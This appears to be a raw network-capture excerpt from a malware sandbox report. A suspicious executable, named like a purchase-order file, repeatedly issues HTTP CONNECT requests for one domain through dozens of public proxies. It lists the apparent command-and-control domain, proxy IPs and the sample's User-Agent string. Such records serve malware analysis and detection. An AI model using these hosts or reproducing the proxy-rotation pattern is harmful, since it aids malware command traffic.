Mar 11, 2024 16:42:35.303509951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1896	192.168.2.11	55157	40.76.160.143	9002	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:35.418082952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1897	192.168.2.11	55155	37.187.77.58	59870	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:35.451292992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1898	192.168.2.11	51157	161.97.163.52	34916	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:35.490379095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.672892094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:41.673000097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:47.688509941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:59.782210112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:11.875919104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:23.969682932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:48.079025030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:36.078921080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1899	192.168.2.11	55213	103.234.27.153	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:35.537152052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1900	192.168.2.11	55197	72.37.217.3	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:35.580835104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1901	192.168.2.11	55164	60.188.102.225	18080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:35.589665890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1902	192.168.2.11	55171	98.178.72.21	10919	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:35.630804062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1903	192.168.2.11	51381	213.136.75.85	59058	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:35.689811945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.782294035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:41.782223940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:47.782428026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:59.785521984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:11.878410101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:23.971308947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:48.079047918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:36.078932047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1904	192.168.2.11	51404	51.89.173.40	31724	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:35.845221043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1905	192.168.2.11	51304	103.189.96.98	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:35.889677048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.921660900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.022998095 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1906	192.168.2.11	51487	201.71.2.249	999	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:35.967190027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.827143908 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1907	192.168.2.11	51441	82.218.176.25	32650	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:35.967195034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.032393932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.366698027 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 817 Content-Type: text/html Date: Mon, 11 Mar 2024 15:43:38 GMT Expires: Mon, 11 Mar 2024 15:43:38 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1908	192.168.2.11	55177	69.61.200.104	36181	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:35.967859030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1909	192.168.2.11	55209	198.8.94.174	39078	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:35.971769094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1910	192.168.2.11	55204	5.10.249.159	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:36.265783072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.267335892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1911	192.168.2.11	51604	103.69.87.142	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:36.316212893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.376413107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:42.376631021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:48.376123905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:50.765557051 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1912	192.168.2.11	55215	67.201.59.70	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:36.397772074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1913	192.168.2.11	51723	20.78.102.191	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:36.407897949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.515521049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:50.525837898 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:42:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 639 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of
Mar 11, 2024 16:42:50.525850058 CET	295	IN	Data Raw: 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at heygirlisheeverythingyo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1914	192.168.2.11	51974	104.36.166.34	50260	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:36.408802032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.485802889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:42.501004934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:48.501981974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1915	192.168.2.11	51718	185.22.8.70	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:36.466927052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1916	192.168.2.11	51633	45.11.95.165	5219	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:36.485093117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1917	192.168.2.11	51760	165.22.96.68	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:36.490988016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.705336094 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1918	192.168.2.11	51837	162.241.50.179	31414	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:36.530325890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.641684055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:42.641628981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1919	192.168.2.11	52063	194.67.91.153	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:36.532340050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.673275948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:42.672986031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
